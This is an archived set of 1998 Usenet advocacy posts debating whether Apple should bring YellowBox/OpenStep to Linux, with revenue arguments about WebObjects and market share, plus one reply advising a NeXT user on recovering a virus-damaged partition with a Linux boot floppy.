Within an evolving consensus of what fits, many visions are welcome.
John
From: ch3@earthlink.net.rem.ove.this (c hand)
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: Sun, 27 Dec 1998 10:55:28 -0800
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <36817E0D.839DAAF9@nstar.net> <ch3-2312981958330001@1cust46.tnt6.redmond.wa.da.uu.net> <75u940$7ib$1@nnrp1.dejanews.com> <ch3-2412981349460001@1cust24.tnt2.redmond.wa.da.uu.net> <75ugft$4h8$1@nnrp02.primenet.com> <ch3-2412981540450001@1cust114.tnt1.redmond.wa.da.uu.net> <3682E4E4.BAA11613@ericsson.com> <ch3-2412981717520001@1cust237.tnt7.redmond.wa.da.uu.net> <75v93b$v55$1@nnrp1.dejanews.com> <ch3-2412982322100001@1cust237.tnt7.redmond.wa.da.uu.net> <3683696D.BD0633B3@nstar.net> <ch3-2612980907270001@1cust12.tnt2.redmond.wa.da.uu.net> <3685466B.3F311F53@nstar.net>
Organization: EarthLink Network, Inc.
Message-ID: <ch3-2712981055290001@1cust11.tnt5.redmond.wa.da.uu.net>
>> These customers actually PAY money for software.
>
>Oh, Colin. Do you know how many Linux customers PAY for Accelerated-X?
>
Which really compares to $700 for a Solaris seat, or $400 for a OpenStep
license, or $25k-50k for a WO app server.
>Do you know how many Linux customers PAY for Red Hat Linux? Do you know
>how many customers PAY for the XESS spreadsheet?
>
Unless Apple can charge $200-300 per YB license, I don't see how they'd
make money out of it. Perhaps you could lobby them to include the YB/GUI
for Linux in as a bundle with OSX/S?
>Whatever it is, they grew by 212% last year. How did WebObjects sales
>fare, Colin?
I would say that WO sales alone exceeded the total revenue
for the entire Linux software market.
--
regards : colin hand : mailto:ch3@earthlink.net
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: 27 Dec 98 18:26:46 GMT
Organization: P & L Systems
Message-ID: <36867be6.0@stan.astra.co.uk>
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com>
<3680e299.0@stan.astra.co.uk> <75u94d$1rg$1@52-a-usw.rb1.blv.nwnexus.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: tzs@halcyon.com
In <75u94d$1rg$1@52-a-usw.rb1.blv.nwnexus.net> Tim Smith wrote:
> mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> >So I'm again left looking for the business case for Apple to put this on
top
> >of Linux...?
>
> The business case is that it lets Apple get out of the OS market,
>
Yes, I understand that -- what I don't see is where it generates *revenue*.
Unless you're going to allow Apple to charge for the runtimes? However most
of the pro-YB/Linux folks here seem to be suggesting that the runtimes should
be free?
If Apple is "allowed" to charge for YB?Linux runtimes then the equation
changes substantially -- we can then ask what price would the market stand.
Would, say, $20 per seat be OK?
> where they
> are not very strong technically (MacOS (the OS part, not the GUI part) is
> technically inferior to Linux, *BSD, BeOS, Windows NT, Windows 95, OS/2,
> and QNX).
>
Umm, MacOS X is very strong technically -- this is why in some respects it
can be considered to be a competitor to Linux.
> Before Linux and the free BSD's, it may have been necessary for Apple to
> have their own OS to run their GUI on, because running on top of another
> OS would mean having to license that OS, and being at the mercy of its
> owner, but with Linux, they don't have to worry about that.
>
Umm, presumably this should be "but with Linux *or the free BSDs*, they don't
have to worry about that", in which case I'd be interested (seriously -- this
isn't a barbed aside) to know your reasons for promoting Linux over any of
the free BSDs.
mmalc.
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: 27 Dec 1998 19:59:07 GMT
Organization: Primenet (602)416-7000
Message-ID: <7663ib$msg$1@nnrp02.primenet.com>
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <75ugft$4h8$1@nnrp02.primenet.com> <ch3-2412981540450001@1cust114.tnt1.redmond.wa.da.uu.net> <3682E4E4.BAA11613@ericsson.com> <ch3-2412981717520001@1cust237.tnt7.redmond.wa.da.uu.net>
<75v93b$v55$1@nnrp1.dejanews.com> <ch3-2412982322100001@1cust237.tnt7.redmond.wa.da.uu.net> <3683696D.BD0633B3@nstar.net> <ch3-2612980907270001@1cust12.tnt2.redmond.wa.da.uu.net> <3685466B.3F311F53@nstar.net>
<ch3-2712981055290001@1cust11.tnt5.redmond.wa.da.uu.net>
c hand <ch3@earthlink.net.rem.ove.this> wrote:
: >> These customers actually PAY money for software.
: >
: >Oh, Colin. Do you know how many Linux customers PAY for Accelerated-X?
: Which really compares to $700 for a Solaris seat, or $400 for a OpenStep
: license, or $25k-50k for a WO app server.
You know, if you make too strong a business case you start to damage your
consumer case ;-).
John
From: ch3@earthlink.net.rem.ove.this (c hand)
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: Sun, 27 Dec 1998 10:58:37 -0800
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <36817E0D.839DAAF9@nstar.net> <ch3-2312981958330001@1cust46.tnt6.redmond.wa.da.uu.net> <75u940$7ib$1@nnrp1.dejanews.com> <ch3-2412981349460001@1cust24.tnt2.redmond.wa.da.uu.net> <75ugft$4h8$1@nnrp02.primenet.com> <ch3-2412981540450001@1cust114.tnt1.redmond.wa.da.uu.net> <3682E4E4.BAA11613@ericsson.com> <ch3-2412981717520001@1cust237.tnt7.redmond.wa.da.uu.net> <ch3-2412981740370001@1cust237.tnt7.redmond.wa.da.uu.net> <qhQg2.1009$J%3.603@news.rdc1.sdca.home.com> <ch3-2612980911200001@1cust12.tnt2.redmond.wa.da.uu.net> <763ppv$9aq$1@nnrp1.dejanews.com>
Organization: EarthLink Network, Inc.
Message-ID: <ch3-2712981058380001@1cust11.tnt5.redmond.wa.da.uu.net>
>Apple itself has chosen to compete in operating systems. That's Apple's
>mistake and it will be Apple's downfall. If Apple had chosen to be a software
>tools vendor, which is where its best technologies and opportunities lie, it
>would have been a force to reckon with, and it would have had support from
>the very people you now call competitors.
>
If only they'd converted to Linux?
Last I checked, there was no rule that said you can't be a tools vendor
if you sell an OS. Apple seems to be positioning themselves to become
a tools vendor for the two largest markets, Win* and Mac. In addition
they are currently the number vendor for Enterprise application servers.
Where's the downfall?
--
regards : colin hand : mailto:ch3@earthlink.net
From: ch3@earthlink.net.rem.ove.this (c hand)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: Sun, 27 Dec 1998 11:04:40 -0800
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <3681729D.6F3AFB05@nstar.net> <36817c66.0@stan.astra.co.uk> <75u8ln$75u$1@nnrp1.dejanews.com> <ch3-2412981553350001@1cust114.tnt1.redmond.wa.da.uu.net> <3682E5D1.320B0905@ericsson.com> <ch3-2612980916070001@1cust12.tnt2.redmond.wa.da.uu.net> <763hf5$2u1$1@nnrp1.dejanews.com>
Organization: EarthLink Network, Inc.
Message-ID: <ch3-2712981104400001@1cust11.tnt5.redmond.wa.da.uu.net>
>> Seems to me this is really more about what *you* want, than about
>> what would be good or profitable for Apple.
>
>Apple's inability to see the correlation between what I want and what would be
>good or profitable for Apple is the source of Apple's ongoing difficulties.
>
Wow, you really are at the center of the Universe.
(BTW, I wasn't aware that Apple had "ongoing difficulties.")
--
regards : colin hand : mailto:ch3@earthlink.net
From: ch3@earthlink.net.rem.ove.this (c hand)
Newsgroups: comp.sys.next.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: Sun, 27 Dec 1998 11:02:43 -0800
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <36817E0D.839DAAF9@nstar.net> <ch3-2312981958330001@1cust46.tnt6.redmond.wa.da.uu.net> <75u940$7ib$1@nnrp1.dejanews.com> <ch3-2412981349460001@1cust24.tnt2.redmond.wa.da.uu.net> <75ugft$4h8$1@nnrp02.primenet.com> <ch3-2412981540450001@1cust114.tnt1.redmond.wa.da.uu.net> <3682E4E4.BAA11613@ericsson.com> <ch3-2412981717520001@1cust237.tnt7.redmond.wa.da.uu.net> <ch3-2412981740370001@1cust237.tnt7.redmond.wa.da.uu.net> <qhQg2.1009$J%3.603@news.rdc1.sdca.home.com> <ch3-2612980911200001@1cust12.tnt2.redmond.wa.da.uu.net> <Xhch2.1346$J%3.960@news.rdc1.sdca.home.com>
Organization: EarthLink Network, Inc.
Message-ID: <ch3-2712981102440001@1cust11.tnt5.redmond.wa.da.uu.net>
>Maybe I'm just too slow on this one... for which I apologize. But I'm
not at all
>buying the packaging of Linux as an illegitimate OS. Linux has legitimately
>earned its credibiilty just as every OS does.
Then it doesn't need Apple.
>The assertion that Linux ultimately competes against Apple bears no
semblence with
>reality. Linux is firmly rooted in the server space. Apple is not
positioned in
>the server space. It has no server product which could compete against
Linux.
>MacOS X server will only be a competitor at the "dedicated" server and
workstation
>space. All "*nice's" being equal, performance defines the *Gap* on servers.
I'm glad you made that determination before the product has even been released.
And it's also nice to see that you've already limited Apple's future
markets, too.
No need to upgrade/improve/innovate. Just give your stuff to Linux instead.
--
regards : colin hand : mailto:ch3@earthlink.net
From: tzs@halcyon.com (Tim Smith)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: 27 Dec 1998 12:33:02 -0800
Organization: Archimedes Plutonium Grepping Society
Message-ID: <7665hu$r91$1@52-a-usw.rb1.blv.nwnexus.net>
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <ch3-2412981553350001@1cust114.tnt1.redmond.wa.da.uu.net> <3682E5D1.320B0905@ericsson.com> <ch3-2612980916070001@1cust12.tnt2.redmond.wa.da.uu.net>
Cache-Post-Path: 52-a-usw.rb1.blv.nwnexus.net!tzs@localhost
c hand <ch3@earthlink.net.rem.ove.this> wrote:
>>Why Linux?
>>
>>Because I use Linux, I know Linux, I like Linux, and I develop for
>>Linux. Are those good reasons?
>
>Not really. What you're suggesting:
...
>Seems to me this is really more about what *you* want, than about
>what would be good or profitable for Apple.
Why not answer the rest of his post, instead of cutting it out? Did he say
things you couldn't answer, or what?
--Tim Smith
From: ch3@earthlink.net.rem.ove.this (c hand)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: Sun, 27 Dec 1998 11:34:45 -0800
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <3681729D.6F3AFB05@nstar.net> <36817c66.0@stan.astra.co.uk> <75u8ln$75u$1@nnrp1.dejanews.com> <ch3-2412981553350001@1cust114.tnt1.redmond.wa.da.uu.net> <3682E5D1.320B0905@ericsson.com> <ch3-2612980916070001@1cust12.tnt2.redmond.wa.da.uu.net> <763q9h$fua@news1.panix.com>
Organization: EarthLink Network, Inc.
Message-ID: <ch3-2712981134460001@1cust11.tnt5.redmond.wa.da.uu.net>
>Huh? You haven't provided anything to support the statement that OpenMach
>would be "good or profitable for Apple"
>
>Would Apple be giving it away or selling it?
As the proposal states, the CoreOS(which would be Mach, BSD, DriverKit,
and the glue that holds it all together) would be Open Sourced. The
upper layers, Apple's added value(YB, EOF, QT, Carbon, PDO, GUI etc,)
would remain Apple's proprietary technology.
It benefits users by bringing more hardware into the picture, and it
benefits Apple by working from a common Open Source code base.
You can read the full proposal here: http://www.of.org/rhaptel
--
regards : colin hand : mailto:ch3@earthlink.net
From: ch3@earthlink.net.rem.ove.this (c hand)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: Sun, 27 Dec 1998 13:21:38 -0800
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <ch3-2412981553350001@1cust114.tnt1.redmond.wa.da.uu.net> <3682E5D1.320B0905@ericsson.com> <ch3-2612980916070001@1cust12.tnt2.redmond.wa.da.uu.net> <7665hu$r91$1@52-a-usw.rb1.blv.nwnexus.net>
Organization: EarthLink Network, Inc.
Message-ID: <ch3-2712981321400001@1cust107.tnt1.redmond.wa.da.uu.net>
>Why not answer the rest of his post, instead of cutting it out? Did he say
>things you couldn't answer, or what?
>
And the point of that would be what? You could say your car is faster
than my car?
a) that wasn't the point I was making
b) it would only lead to a your toy vs. my toy argument
c) I don't need to argue the merits of BSD or Linux, since NeXT/Apple
already chose BSD
d) it's as stupid as the Macs vs. PCs, PowerPC vs. Intel arguments
If it gives you some satisfaction, go right ahead. But be sure to note
that it brings you no closer to a business case for YB/Linux.
--
regards : colin hand : mailto:ch3@earthlink.net
From: ch3@earthlink.net.rem.ove.this (c hand)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: Sun, 27 Dec 1998 13:31:20 -0800
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <3680e299.0@stan.astra.co.uk> <75u94d$1rg$1@52-a-usw.rb1.blv.nwnexus.net> <36867be6.0@stan.astra.co.uk> <7667i3$t8c$1@52-a-usw.rb1.blv.nwnexus.net>
Organization: EarthLink Network, Inc.
Message-ID: <ch3-2712981331200001@1cust79.tnt6.redmond.wa.da.uu.net>
> MacOS as a stand-alone OS dies off.
Yeah, there you go, why don't you propose something that they might do.
Why is it that every armchair CEO thinks that Apple has no plan in place
already for what markets, what timeframe, what technologies what platform,
etc. they will pursue?
>FreeBSD does not run on PPC. OpenBSD has some PPC support, but not much for
>Mac hardware. NetBSD has some Mac PPC support, but it is not developing
>anywhere near as fast as LinuxPPC. E.g., LinuxPPC works on the iMac now.
>I don't think NetBSD does.
Who said you had to run OSX/S on PPC hardware?
--
regards : colin hand : mailto:ch3@earthlink.net
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
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<75ugft$4h8$1@nnrp02.primenet.com> <ch3-2412981540450001@1cust114.tnt1.redmond.wa.da.uu.net>
<3682E4E4.BAA11613@ericsson.com> <ch3-2412981717520001@1cust237.tnt7.redmond.wa.da.uu.net>
<ch3-2412981740370001@1cust237.tnt7.redmond.wa.da.uu.net> <qhQg2.1009$J%3.603@news.rdc1.sdca.home.com>
<ch3-2612980911200001@1cust12.tnt2.redmond.wa.da.uu.net> <Xhch2.1346$J%3.960@news.rdc1.sdca.home.com>
<763kqa$qs$1@nnrp03.primenet.com>
Message-ID: <Ykyh2.1973$J%3.1179@news.rdc1.sdca.home.com>
Date: Sun, 27 Dec 1998 22:16:24 GMT
NNTP-Posting-Date: Sun, 27 Dec 1998 14:16:24 PDT
Organization: @Home Network
In <763kqa$qs$1@nnrp03.primenet.com> John Jensen wrote:
> Rex Riley <rr6013@yahoo.com> wrote:
>
> : If we extend the time horizon for Linux out 5 years the performance
> : *Gap* between MacOSX, Solaris, HP-UX, .et .al will close. If a GUI is
> : added to Linux tomorrow <choose your favorite> the *Gap* between Windows
> : and Mac is very much obvious. Not until Linux has a cross-platform API
> : does there become _any_ migration of APPLICATIONS over to LInux. All
> : GUI's being equal, applications define the *Gap* on the desktop. Then
> : and only then would there concievably be competition for Apple. Since
> : YB is the cross-platform API across which applications can port to
> : Linux, it would seem that Apple stands to "profit" at the middleware
> : layer. All API's being equal, tools define the *Gap* between OS's.
>
> I agree by-and-large. I think Linux desktops will look pretty complete by
> the end of '99. I also think your "migration of applications" should be
> "migration or development of applications".
>
>
¼OK
> The interesting thing to remember is that many of the current Linux users
> are developers, and they view the *Gap* as an opportunity to create
> something new:
>
> http://www.kde.org/applications.html
>
> http://www.gnome.org/applist/list.phtml
>
>
I like the metaphor and believe it holds. I also like the PBS/NPR software
initiative Scott Hess has shared for Open Software development funding. Gaps that
Linux has created, allow new possibilities and paradigms. Opportunities, gaps and
new interest are the drivers of Linux' Future.
Linux has alot more in common with the folks at Apple considering their roots.
Linux, now the keeper of the revolutionary torch Apple once carried, has the
Cupertino Co. happy with "¼think different". This common ground could be a
touchstone for Apple's interest in joining Linux.
Joining Linux could afford Apple marketing a "revisit to their revolutionary past"
ala Linux¼
-r (whose gotta do xmas duties)
From: jinx6568@sover.net (Chris Johnson)
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Message-ID: <jinx6568-2712981730070001@arc1a96.bf.sover.net>
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <36817E0D.839DAAF9@nstar.net> <ch3-2312981958330001@1cust46.tnt6.redmond.wa.da.uu.net> <75u940$7ib$1@nnrp1.dejanews.com> <ch3-2412981349460001@1cust24.tnt2.redmond.wa.da.uu.net> <75ugft$4h8$1@nnrp02.primenet.com> <ch3-2412981540450001@1cust114.tnt1.redmond.wa.da.uu.net> <3682E4E4.BAA11613@ericsson.com> <ch3-2412981717520001@1cust237.tnt7.redmond.wa.da.uu.net> <ch3-2412981740370001@1cust237.tnt7.redmond.wa.da.uu.net> <qhQg2.1009$J%3.603@news.rdc1.sdca.home.com> <ch3-2612980911200001@1cust12.tnt2.redmond.wa.da.uu.net> <763ppv$9aq$1@nnrp1.dejanews.com> <suvidya-2712980926360001@210.newark-03-04rs.nj.dial-access.att.net> <36864CBF.A620E14F@mohawksoft.com> <765tav$lgp@bgtnsc03.worldnet.att.net>
Organization: Airwindows
NNTP-Posting-Date: Sun, 27 Dec 1998 17:25:53 EDT
Date: Sun, 27 Dec 1998 17:30:06 -0500
In article <765tav$lgp@bgtnsc03.worldnet.att.net>, "Daniel Johnson"
<daniel.n.johnson@worldnet.att.net> wrote:
>If MS's brainlock on the industry were broken, other OSes would be more
>successful, quick likely. But if that happened, products like WinModems
>couldn't be made, because you'd have to make drivers for all those
>diverse OSes.
>Now, I ->know<- you don't like WinModems, but some people apparently
>do. Should they not have *that* choice?
>How come your choice is more important than the WinModem's fan's choice?
Dan, what on earth are you talking about? There is a parallel to
WinModems on the Mac. I believe that's what GeoPort modems are, which is
why attempting to play online games using them (or do anything much while
using them) is a Bad Thing.
What on earth gives you the notion that products like WinModems
couldn't be made if MS's marketshare was, oh, some _horribly_ pathetic
weak helpless level like... 60%? Seeing as such products are available for
the Macintosh which is at what, 10% marketshare?
Cheers,
Chris Johnson
@airwindows.com
chrisj
From: ctm@ardi.com (Clifford T. Matthews)
Newsgroups: comp.sys.next.advocacy
Subject: Re: I have to switch to Windows--long time NeXt User
Date: 27 Dec 1998 15:56:47 -0700
Organization: ARDI
Sender: ctm@ftp.ardi.com
Message-ID: <ufhfuhjis0.fsf@ftp.ardi.com>
References: <763rqd$aor$1@nnrp1.dejanews.com>
Cc: <nsauer@ucalgary.ca>
>>>>> "Norbert" == nsauer <nsauer@ucalgary.ca> writes:
Norbert> The disaster has happened. I have to switch to
Norbert> Windows. Don't see any other solution.
[snip]
Norbert> A virus infected the Windows part and the virus or the virus
Norbert> extermination software wiped out the NeXt part of the disk
Norbert> partition table. It now shows up as free space in DOS disk
Norbert> utilities. I can not get at it any more and have very
Norbert> important information on that lost part of the disk.
[snip]
Norbert> So, what are my options? Apart from having lost a
Norbert> substantial part of my lifes work and I have to continue to
Norbert> work imediately I can
Sorry to hear the data failure.
Don't write off the missing information just yet (even though you may
want to write off the operating system).
Hunt around and see if there's a local Linux or Free UNIX user's group
in your area. If so, contact them and explain your situation and ask
if any of their members would be able to use a Linux (or other Free
UNIX) boot or rescue floppy to give you access to your NeXT files. If
nobody has any NEXTSTEP experience over there, explain that they'll
need to go out and get the "u2fs" filesystem patches that are
available on sunsite
<ftp://sunsite.unc.edu:/pub/Linux/ALPHA/ufs/u2fs-0.4.3.tar.gz>.
Although the NEXTSTEP partition is basically a UFS partition, the
stock UFS filesystem support won't do the job, but u2fs will.
Naturally you should tell the people that you're not interested in
running Linux (as your post explained) so that they'll know from the
beginning that they're not gaining a convert. Be aware that some
people may still proselytize, and take it with a grain of salt.
I believe I have recovered a damaged NS/Intel system using a Linux
boot floppy, although I could be mistaken. I know for sure that I've
used u2fs to read NEXTSTEP volumes several times and that I've
recovered various operating system damage using Linux boot floppies
before, but the number of disasters I've recovered exceeds my capacity
to remember the specifics. My guess is that with a little help you'll
be able to recover the vast majority of your NEXTSTEP files.
Good luck. Feel free to e-mail me with questions.
--Cliff [Matthews]
ctm@ardi.com
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
MIME-Version: 1.0
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References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com>
<3680e299.0@stan.astra.co.uk> <36817E0D.839DAAF9@nstar.net>
<ch3-2312981958330001@1cust46.tnt6.redmond.wa.da.uu.net> <75u940$7ib$1@nnrp1.dejanews.com>
<ch3-2412981349460001@1cust24.tnt2.redmond.wa.da.uu.net> <75ugft$4h8$1@nnrp02.primenet.com>
<ch3-2412981540450001@1cust114.tnt1.redmond.wa.da.uu.net> <3682E4E4.BAA11613@ericsson.com>
<ch3-2412981717520001@1cust237.tnt7.redmond.wa.da.uu.net> <ch3-2412981740370001@1cust237.tnt7.redmond.wa.da.uu.net>
<qhQg2.1009$J%3.603@news.rdc1.sdca.home.com> <ch3-2612980911200001@1cust12.tnt2.redmond.wa.da.uu.net>
<Xhch2.1346$J%3.960@news.rdc1.sdca.home.com> <ch3-2712981102440001@1cust11.tnt5.redmond.wa.da.uu.net>
Message-ID: <01Eh2.2008$J%3.1015@news.rdc1.sdca.home.com>
Date: Mon, 28 Dec 1998 04:44:44 GMT
NNTP-Posting-Date: Sun, 27 Dec 1998 20:44:44 PDT
Organization: @Home Network
In <ch3-2712981102440001@1cust11.tnt5.redmond.wa.da.uu.net> c hand wrote:
> >Maybe I'm just too slow on this one... for which I apologize. But I'm
> not at all
> >buying the packaging of Linux as an illegitimate OS. Linux has legitimately
> >earned its credibiilty just as every OS does.
>
> Then it doesn't need Apple.
>
>
I don't think it does...
> >The assertion that Linux ultimately competes against Apple bears no
> semblence with
> >reality. Linux is firmly rooted in the server space. Apple is not
> positioned in
> >the server space. It has no server product which could compete against
> Linux.
> >MacOS X server will only be a competitor at the "dedicated" server and
> workstation
> >space. All "*nice's" being equal, performance defines the *Gap* on servers.
>
> I'm glad you made that determination before the product has even been released.
> And it's also nice to see that you've already limited Apple's future
> markets, too.
> No need to upgrade/improve/innovate. Just give your stuff to Linux instead.
>
>
Nine years with Steve Jobs leaves little doubt as to what to expect from MacOS X.
Apple has no product with which to compete against Linux servers. MacOS X is not
going to offer any ready Linux replacements. Don't expect hot swapable SMP
servers anytime soon from the folks in Cupertino. Apple has nothing to prove and
everything to lose going up against Big Unix Iron. IMO, Apple isn't interested in
confusing MacOS X with Linux servers.
Apple is going to come out with dedicated solutions on MacOS X. Niche
applications (ala WebObjects, ThinClients, etc...) that make MacOS X a tough
product to beat once development and support services are added-on.
All upgrade/improve/innovation will target niche markets. Raw technologies will
cease to drive product development. Cool technologies looking for a solution go
away. Linux is technology not a market. Linux will need to map to an Apple
niche.
I don't advocate Apple GUI Linux with the Mac-a-like environment. I see no
benefit for giving Apple *stuff * away. IMO Apple/Linux are compatible
market-makers. Apple could serve the Linux community well by opening up it's API
to KDE, GNOME, et .al . Choice is a good thing. I'd be the first to pay for an
OPENSTEP/Linux if the OPENSTEP applications were ported.
Finally, don't expect Apple to give *stuff* to Linux. What may come to be *free*
to the Linux community will benefit both parties, whether by Open Sourcing, Public
Development or Parallel Debugging - *free* will work both ways in a Win-Win
Apple/Linux scenario.
-r
From: ch3@earthlink.net.rem.ove.this (c hand)
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: Sun, 27 Dec 1998 10:49:52 -0800
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <36817E0D.839DAAF9@nstar.net> <ch3-2312981958330001@1cust46.tnt6.redmond.wa.da.uu.net> <75u940$7ib$1@nnrp1.dejanews.com> <ch3-2412981349460001@1cust24.tnt2.redmond.wa.da.uu.net> <75ugft$4h8$1@nnrp02.primenet.com> <ch3-2412981540450001@1cust114.tnt1.redmond.wa.da.uu.net> <75upqa$47f$1@nnrp03.primenet.com> <75vd7j$25r$1@nnrp1.dejanews.com> <760kof$dlk$1@nnrp03.primenet.com> <ch3-2612980901450001@1cust12.tnt2.redmond.wa.da.uu.net> <368545B6.63E9976C@nstar.net>
Organization: EarthLink Network, Inc.
Message-ID: <ch3-2712981049520001@1cust11.tnt5.redmond.wa.da.uu.net>
>Now this is truly funny. I suppose Apple is marching in step to the
>Windows NT drum. In fact, anyone who creates software for someone else's
>operating system is marching to that operating system's drum.
Michael, imagine Apple making a presentation to a major corp. pushing
a YellowBox solution:
Choice A: WinNT + YB
--- crappy Win UI, crappy Win stability, etc.
Choice B: OSX/S + YB
--- Mac UI, UNIX
Choice C: Linux + YB
--- Mac UI(that's what you're asking for right?), UNIX
Now, when the IT Manager asks you what's the difference between B & C,
what are you(APPLE) going to say? OSX/S is better, but Linux is free?
There's a clear differentation between Win* and OSX/S. Linux with the
UI and YB, steps closer to the future OSX/S market with those additions.
--
regards : colin hand : mailto:ch3@earthlink.net
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: 28 Dec 1998 05:26:59 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <7674r3$fmf@news1.panix.com>
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <36817E0D.839DAAF9@nstar.net> <ch3-2312981958330001@1cust46.tnt6.redmond.wa.da.uu.net> <75u940$7ib$1@nnrp1.dejanews.com> <ch3-2412981349460001@1cust24.tnt2.redmond.wa.da.uu.net> <75ugft$4h8$1@nnrp02.primenet.com> <ch3-2412981540450001@1cust114.tnt1.redmond.wa.da.uu.net> <3682E4E4.BAA11613@ericsson.com> <ch3-2412981717520001@1cust237.tnt7.redmond.wa.da.uu.net> <ch3-2412981740370001@1cust237.tnt7.redmond.wa.da.uu.net> <qhQg2.1009$J%3.603@news.rdc1.sdca.home.com> <ch3-2612980911200001@1cust12.tnt2.redmond.wa.da.uu.net> <763ppv$9aq$1@nnrp1.dejanews.com> <suvidya-2712980926360001@210.newark-03-04rs.nj.dial-access.att.net> <3686ED85.255995F1@nstar.net>
On Sun, 27 Dec 1998 20:31:33 -0600, Michael J. Peck <mjpeck@nstar.net> wrote:
>Arun Gupta wrote:
>> "We are Linux. Resistance is futile. You will be assimilated."
>"We are Apple. We piss in the wind. Our marketshare is under 3%. We're
>better than you."
And how did Apple get to the point where marketshare was under 3%? By doing
the very thing you are advocating, namely chasing after every trend at the
expense of its core business. In a chaotic attempt to be all things to all
users they ended up being nothing much for no one.
Rather than the old style Apple plan of chasing after every "magic bullet"
that would save the company (pink, AppleRISC, GX, OpenDOC et al) they are
now putting the bulk of their efforts behind the core products (the Mac and
MacOS) while building up new products in areas that complement those core
products (WebObjects, QuickTime, Java et al) without requiring major shifts
for their ISV and developers.
>> I find it amazing that free-market advocates are moaning that Apple
>> chooses to compete. I thought this is the cardinal virtue of the
>> free-market.
>No, creating wealth is the cardinal virtue of the free-market. I'm sorry
>you misunderstood.
Ok, now write up a business plan that shows how Apple will make money off
of YB on Linux. How many of those 9 million user are in the target market
for a $xxx UI; but would not want to pay the same amount for OSX on Intel?
So far the short term objection is that
a) Depends on DPS, and Adobe has killed it.
b) Would pull resources away from core products Apple has committed to
The long term objection has been
a) No viable plan for Apple to make money off of it
If you look at a one of my recent posts, <763q7d$fu4@news1.panix.com> I wrote
up an outline on why it might make sense for Apple to port WO to Linux.
"How many of those 9 million seats are really potential sales for a US$1500
Web Applications server?
Depending on what statistics you believe, there are about 1.5 million Linux
boxes that are being used as web servers for commercial (or intranet) sites.
